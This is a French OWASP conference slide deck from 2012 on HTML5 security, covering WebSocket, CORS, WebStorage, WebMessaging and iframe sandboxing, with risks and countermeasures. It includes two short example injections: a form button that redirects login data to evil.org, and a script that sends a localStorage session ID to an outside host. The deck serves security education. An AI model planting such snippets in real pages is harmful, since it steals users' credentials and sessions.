2011 02-07-html5-security-v1

Preview:

DESCRIPTION

Présentation effectuée sur HTML5 aux MSTechDays 2012

Citation preview

The OWASP Foundationhttp://www.owasp.org

et la Sécurité ou comment les Poneys envahissent le Web 3.0...

Sébastien GioriaFrench OWASP Leader

Global Education Committee

Paris - 7 Février 2012

Wednesday, February 8, 12

Agenda•Un peu d’histoire

•HTML5 pour les nuls en 4mn 2s

•Nouvelles attaques et protections ?

•Références

2Wednesday, February 8, 12

Back to the past201220001995

3

HTML 2.0 HTML 4.0 HTML 5 ?

CSS 2

1998 2005

CSS 3

JavaScriptla DOM XmlHttpRequest

Wednesday, February 8, 12

4Wednesday, February 8, 12

ELEMENTS INTERESSANTS DE HTML5

5Wednesday, February 8, 12

4mn 2sNouvelles balises

• On n’est pas la pour parler de peinture...

Nouvelles APIs

• WebSocket

• WebMessaging

• IndexedDB

• OffLine Web Application

• WebStorage (votre nouveau DropBox ? ...)

• Cross Origin Ressource Sharing (déja rien que le nom est intéressant...)

6Wednesday, February 8, 12

4mn 2sWebSocket : Permet d’effectuer des connexions

persistantes et bi-directionnelles

• mécanisme de “Push” possible

• interface en cours de finalisation/spécifications

• nécessite un serveur “compatible”

• API minimaliste (send, receive via event)

• http://www.w3.org/TR/websockets/

7Wednesday, February 8, 12

4mn 2sWebMessaging : communication inter-documents

HTML

• via la méthode window.postMessage();

• pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....)

• vérification de l’origine a la charge de l’application receptrice.

• il est possible de transporter du JSON :)

• http://www.w3.org/TR/webmessaging/8

Wednesday, February 8, 12

4mn 2sIndexedDB; la Web SQL Database...

•API synchrone et asynchrone

•pensée pour JavaScript; stockage d’objets

•http://www.w3.org/TR/IndexedDB/

9Wednesday, February 8, 12

4mn 2sOffline Web Applications: possibilité

d’exécuter tout ou partie des applications même déconnecté.

• via navigator.onLine

• mise en cache des données nécessaires(HTML, CSS, JavaScript...)

• http://www.w3.org/TR/html5/offline.html

10Wednesday, February 8, 12

4mn 2sWebStorage : donne la capacité au navigateur

de stocker jusqu’a 5Mo à 10Mo de données

•deux type de stockage : local ou de session

•possibilité de stocker des objets JSON

•possibilité de stocker de manière régulière

•http://www.w3.org/TR/webstorage/

11Wednesday, February 8, 12

SÉCURITÉ ?

12Wednesday, February 8, 12

OWASP Top Ten 2010

http://www.owasp.org/index.php/Top_10

A1:  Injec-on A2:  Cross  Site  Scrip-ng  (XSS)

A3:  Mauvaise  ges-on  des  sessions  et  de  l’authen-fica-on

A4:Référence  directe  non  sécurisée  à  un  

objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura-on  sécurité

A8:  Mauvaise  restric-on  d’accès  à  

une  URL

A10:    Redirec-ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec-on  insuffisante  lors  du  

transport  des  données

Wednesday, February 8, 12

Falsification de Forms

14

Il est possible de contrôler une Forms en dehors de l’élément “forms”

<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>

<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>

Wednesday, February 8, 12

Falsification Forms

15

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si on arrive à injecter ce code

Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée

Wednesday, February 8, 12

Protocol/content Handlers

16

Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés

• sms://

• application/pdf

Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs)

Il n’est pas obligatoire de demander à l’utilisateur son autorisation

Wednesday, February 8, 12

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17Wednesday, February 8, 12

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17Wednesday, February 8, 12

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17

Mais c’etait sans compter les

Wednesday, February 8, 12

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17

HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com

Mais c’etait sans compter les

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

GET / HTTP/1.1

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

GET / HTTP/1.1

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HTTP/1.1 200 Ok<script>XMLHttpRequest...

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HTTP/1.1 200 Ok<script>XMLHttpRequest...

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

XM

LHT

TPR

eque

st

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

XM

LHT

TPR

eque

st

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

POST /endpoint HTTP/1.1.....(contenu de la page interne)

poc.ckers.fr

intranet

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

GET / HTTP/1.1

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

GET / HTTP/1.1

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

HTTP/1.1 200 Ok<iframe src=...

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Cross Origin Resource Sharing 4/4

Contre-mesures :

•Restriction du domaine

•Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant.

•Mettre en place des contre-mesures réseaux (pour les DDOS)

20Wednesday, February 8, 12

WebStoragePas de contrôle de la part de l’utilisateur

sur ce qui est stocké/accéder

L’injection de Javascript peut bypasser la limitation du contrôle d’accès.

➡Vol de Sessions

➡Vol de données sensibles

➡Tracking d’utilisateurs

21Wednesday, February 8, 12

WebStorageVol de Sessions; juste un peu plus

compliqué. :

22

<script>document.write("<imgsrc='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");</script>

le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage !

Wednesday, February 8, 12

WebStorageTracking User

23

Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique

Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Tunnel TCP Full Duplex

Wednesday, February 8, 12

Websocket MenacesParmi les attaques possible, certaines sont

triviales:

•Shell Distant

•Botnet Web

• via un XSS ou tout simplement en se connectant à un site Web.

•Port scanning...

25Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

Wednesday, February 8, 12

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

HTTP/1.1 200 OkContenu falsifié

Wednesday, February 8, 12

OffLine Web Application

•Possibilité d’avoir des attaques de Type APT ?

•Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL

27

<!DOCTYPE HTML><html manifest="/cache.manifest"><body>

Wednesday, February 8, 12

WebMessage•Possibilité de perte de données sensibles

(si envoyées à une “mauvaise iframe”)

28

<iframe src=”outside.control”

postMessage()Page du site “interne”

Wednesday, February 8, 12

API GeolocationPossibilité de découvrir le lieu ou se trouve

l’utilisateur (sous reserve d’avoir un GPS, ou autre système).

Perte de données de vie privée...

29Wednesday, February 8, 12

Bac a sable des iframes

Par défaut si rien n’est précisé :

•Les formulaires, scripts et plug-ins sont désactivés.

•Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage).

•Par d’AJAX

•Les liens ne peuvent cibler d’autres frames

•Le contenu est considéré externe (pas d’accès à la DOM)

30

<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>

Wednesday, February 8, 12

Bac a sable des iframes

Lever les restrictions :

•allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe

•allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur

•allow-forms : autorise les formulaires

•allow- scripts : les scripts (hors popup) sont autorisés

31

Les navigateurs ne supportent pas tous ces éléments !

Wednesday, February 8, 12

Autres points importantsLes longs traitements en JavaScript

“plantaient” les navigateurs.

Les WebWorkers permettent de lancer des JavaScript en tache de fond

32

DDOS avec CORS & WebWorkers

Calculs distribués (cf Ravan)

Wednesday, February 8, 12

Autres Points importantsCSS3 introduit de nouvelles capacités à

injecter du code JavaScript

33

Nouvelles capacités au ClickJacking

Wednesday, February 8, 12

ConclusionPlein de nouvelles API interessantes pour

le développeur

34

L’ouverture se fait au détriment de la sécurité....

Une surface d’attaque accrue

La belle part au JavaScript (qui peut s’executer sans consentement utilisateur)

Wednesday, February 8, 12

ww.html5test.com

35Wednesday, February 8, 12

Quelques Sites a suivre..

http://www.w3.org/TR/html5/ : le standard

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

http://www.caniuse.com : liste des différents supports d’API par navigateur

http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme.

36Wednesday, February 8, 12